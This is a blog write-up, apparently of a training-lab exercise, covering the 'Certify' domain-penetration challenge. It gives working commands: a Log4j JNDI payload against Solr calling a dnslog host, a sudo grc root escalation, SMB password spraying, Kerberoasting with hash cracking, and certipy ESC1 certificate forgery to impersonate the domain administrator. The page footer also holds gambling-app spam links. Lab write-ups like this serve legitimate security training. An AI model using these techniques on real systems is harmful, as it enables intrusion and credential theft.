首页 > 其他分享 >春秋云境 Certify WP

春秋云境 Certify WP

时间:2024-01-18 20:44:41浏览次数:29  
标签:Certify LAB XIAORANG 云境 xiaorang WP 9.7 open 172.22

春秋云境 Certify WP

Certify是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。

  • Solr
  • AD CS
  • SMB
  • Kerberos
  • 域渗透

flag01

正常打开站点什么都没有,fscan扫一下

image-20231223133845131

这里发现solr,并且有log4j2

image-20231223133906894

dnslog验证一下

39.99.132.181:8983/solr/admin/cores?action=${jndi:ldap://ibh708.dnslog.cn}

image-20231223134040321

利用工具获取shell

image-20240118164428621

成功反弹

image-20231223134845756

这里找到了提权方式

sudo grc --pty /bin/sh
python3 -c 'import pty;pty.spawn("/bin/bash")'

image-20231223140450743

获得flag01

image-20231223140607540

flag02

这里先看一下ip

image-20231223141326645

上传fscan扫描(这里其实还有一台CA01服务器,不知道为什么没扫出来)

172.22.9.47:22 open
172.22.9.19:80 open
172.22.9.19:22 open
172.22.9.7:88 open
172.22.9.47:21 open
172.22.9.26:445 open
172.22.9.47:445 open
172.22.9.7:445 open
172.22.9.47:139 open
172.22.9.26:139 open
172.22.9.7:139 open
172.22.9.7:135 open
172.22.9.26:135 open
172.22.9.47:80 open
172.22.9.7:80 open
172.22.9.19:8983 open
[*] NetInfo 
[*]172.22.9.26
   [->]DESKTOP-CBKTVMO
   [->]172.22.9.26
[*] WebTitle http://172.22.9.19        code:200 len:612    title:Welcome to nginx!
[*] WebTitle http://172.22.9.47        code:200 len:10918  title:Apache2 Ubuntu Default Page: It works
[*] NetBios 172.22.9.7      [+] DC:XIAORANG\XIAORANG-DC    
[*] NetInfo 
[*]172.22.9.7
   [->]XIAORANG-DC
   [->]172.22.9.7
[*] NetBios 172.22.9.26     DESKTOP-CBKTVMO.xiaorang.lab        Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.9.47     fileserver                          Windows 6.1
[*] OsInfo 172.22.9.47	(Windows 6.1)
[*] WebTitle http://172.22.9.19:8983   code:302 len:0      title:None 跳转url: http://172.22.9.19:8983/solr/
[*] WebTitle http://172.22.9.7         code:200 len:703    title:IIS Windows Server
[*] WebTitle http://172.22.9.19:8983/solr/ code:200 len:16555  title:Solr Admin
[+] PocScan http://172.22.9.7 poc-yaml-active-directory-certsrv-detect 

简单分析一下:

172.22.9.19
	已经拿下
172.22.9.47
	fileserver 
172.22.9.26
	域内 DESKTOP-CBKTVMO.xiaorang.lab
172.22.9.7
	DC  poc-yaml-active-directory-certsrv-detect 

题目考点写了个SMB,估计是有SMB服务,那肯定是fileserver这台ubuntu上存在,用smbclient连了一下果然连上去了

image-20231223153127533

然后在secret目录获得flag

image-20231223153519933

flag03&flag04

这里拿到了个数据库,看了一下有个user表里有密码但没用户名,又有一个表有一堆用户名

image-20231223154955545

进行爆破

crackmapexec smb  172.22.9.26 -u user.txt -p password.txt

image-20231223160940138

xiaorang.lab\zhangjian:i9XDE02pLVf 但是rdp登录不上去

image-20231223161038987

kerberoasting攻击

这里想起来flag02的提示,spn,所以先查一下有没有域用户的spn

proxychains impacket-GetUserSPNs -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf

image-20231223161706645

然后使用hashcat进行破解

hashcat64.exe -m 13100 1.txt rockyou.txt

image-20231223162336139

zhangxia MyPass2@@6

成功连进来了,但是看不到flag,进行adcs攻击

image-20231223162552970

ESC1

这里先查询漏洞,直接爆出来ESC1

proxychains certipy find -u '[email protected]'  -password 'MyPass2@@6' -dc-ip 172.22.9.7 -vulnerable -stdout
Certificate Authorities
  0
    CA Name                             : xiaorang-XIAORANG-DC-CA
    DNS Name                            : XIAORANG-DC.xiaorang.lab
    Certificate Subject                 : CN=xiaorang-XIAORANG-DC-CA, DC=xiaorang, DC=lab
    Certificate Serial Number           : 43A73F4A37050EAA4E29C0D95BC84BB5
    Certificate Validity Start          : 2023-07-14 04:33:21+00:00
    Certificate Validity End            : 2028-07-14 04:43:21+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Unknown
    Request Disposition                 : Unknown
    Enforce Encryption for Requests     : Unknown
Certificate Templates
  0
    Template Name                       : XR Manager
    Display Name                        : XR Manager
    Certificate Authorities             : xiaorang-XIAORANG-DC-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : PublishToDs
                                          IncludeSymmetricAlgorithms
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Encrypting File System
                                          Secure Email
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : XIAORANG.LAB\Domain Admins
                                          XIAORANG.LAB\Domain Users
                                          XIAORANG.LAB\Enterprise Admins
                                          XIAORANG.LAB\Authenticated Users
      Object Control Permissions
        Owner                           : XIAORANG.LAB\Administrator
        Write Owner Principals          : XIAORANG.LAB\Domain Admins
                                          XIAORANG.LAB\Enterprise Admins
                                          XIAORANG.LAB\Administrator
        Write Dacl Principals           : XIAORANG.LAB\Domain Admins
                                          XIAORANG.LAB\Enterprise Admins
                                          XIAORANG.LAB\Administrator
        Write Property Principals       : XIAORANG.LAB\Domain Admins
                                          XIAORANG.LAB\Enterprise Admins
                                          XIAORANG.LAB\Administrator
    [!] Vulnerabilities
      ESC1                              : 'XIAORANG.LAB\\Domain Users' and 'XIAORANG.LAB\\Authenticated Users' can enroll, enrollee supplies subject and template allows client authentication

申请 XR Manager 证书模版并伪造域管理员,得到administrator.pfx,然后利用administrator.pfx证书获取 TGT 和 NTLM Hash

但是要注意,要改一下hosts,不然会超时,就像下图一样

proxychains certipy req -u '[email protected]' -p 'fiAzGwEMgTY' -target 172.22.9.7 -dc-ip 172.22.9.7 -ca "xiaorang-XIAORANG-DC-CA" -template 'XR Manager'  -upn [email protected]
proxychains certipy auth -pfx administrator.pfx -dc-ip 172.22.9.7

image-20240118203003002

改之后是正常的

image-20240118203103222

这里拿到了域管的hash,剩下的两个机器直接pth就行了(这里少截了一张图)。

image-20231223170823140

标签:Certify,LAB,XIAORANG,云境,xiaorang,WP,9.7,open,172.22
From: https://www.cnblogs.com/fdxsec/p/17973370

相关文章

  • wpf第六个画面
    主要使用的控件:Grid控件、Border控件、Button控件、Image控件、Textbox控件、ComboBox控件、Textblock控件   公共属性 HorizontalAlignment:水平显示位置 VerticalAlignment:垂直显示位置 Weight:宽度 Height:高度 Grid控件ColumnDefinitions和RowDefinition......
  • WPF与WinForm的对比
    WPF与WinForm的对比创建新项目在vs2022中,这两者分别叫做WPF应用和Windows窗体应用。渲染引擎和设计WPF使用DirectX作为渲染引擎,支持更复杂和动态的UI,包括2D和3D图形、动画和丰富的样式和模板。WinForms使用GDI+作为渲染引擎,主要支持传统的2D图形。它的界面元素(控件)更简单,功能......
  • 【SCTF-Round#16】 Web和Crypto详细完整WP
    每天都要加油哦!   ------2024-01-18 11:16:55[NSSRound#16Basic]RCE但是没有完全RCE<?phperror_reporting(0);highlight_file(__file__);include('level2.php');if (isset($_GET['md5_1']) && isset($_GET['md5_2'])) {    if ((str......
  • 【.NET 5.0】WPF使用弹窗选择文件和文件夹
    一开始使用下面方法调起文件夹窗,始终提示System.Windows.Forms这个命名空间无法引入.//选择文件夹System.Windows.Forms.FolderBrowserDialogFolderBrowserDialog=newSystem.Windows.Forms.FolderBrowserDialog();if(FolderBrowserDialog.ShowDialog()==System.Win......
  • wpf第五个画面
    主要使用的控件:Grid控件、TabControl控件、TextBlock控件、Button控件、Border控件  公共属性 HorizontalAlignment:水平显示位置 VerticalAlignment:垂直显示位置 Weight:宽度 Height:高度  Grid控件ColumnDefinitions和RowDefinitions,分别表示列的数量集合......
  • WPS邮件合并:将图片名称通过WPS整体成文档
    项目介绍项目功能介绍(影像志):将文件夹下的所有图片名称(图1)批量制作成word中的样式(图2)。图1图2项目章节/知识点获取文件夹下的所有文件名称Excel表格数据分列Word邮件合并观察/思考/总结1、文件夹下的所有图片名称包括:日期+文字说明+摄影者。2、Word效果图中包括:照片号+摄影者+摄影时......
  • 在wpf项目中实现基于Grpc.AspNetCore.Server库的grpc server功能
     前言1.Grpc.Core库的维护到2024.10,之后应该是不再维护了,后续推荐使用Grpc.Net.Client和Grpc.AspNetCore.Server这两个库代替。相关声明信息可以在此处看到,https://grpc.io/blog/grpc-csharp-future/2.当前工作的项目需求是在同一个局域网的多个wpf,通过grpc进行通讯,一个wpf作......
  • WPF 禁止重复启动程序
    1.VS中右键App.xaml,【生成操作】选择为【Page】2.修改App.xaml.cs文件如下:usingSystem;usingMicrosoft.Extensions.DependencyInjection;usingSystem.Threading;usingSystem.Windows;namespaceWpfDemo{///<summary>///App.xaml的交互逻辑///</su......
  • 【愚公系列】2024年01月 WPF控件专题 ProgressBar控件详解
    ......
  • wpk华侨俱乐部欢迎您
    搜索加入俱乐部:70995551.wepoker官方下载网址:https://web.jinhuofeng.xyz2.wepoker官方下载网址:https://wepoker.co由于微信对接封控严重,预防失联所有人都是在泡泡对接上下分,微信备用。苹果用户直接app商城搜索(泡泡聊天)安卓用户浏览器下载,网址:ya.cn 下载好加泡泡好友:wpk121......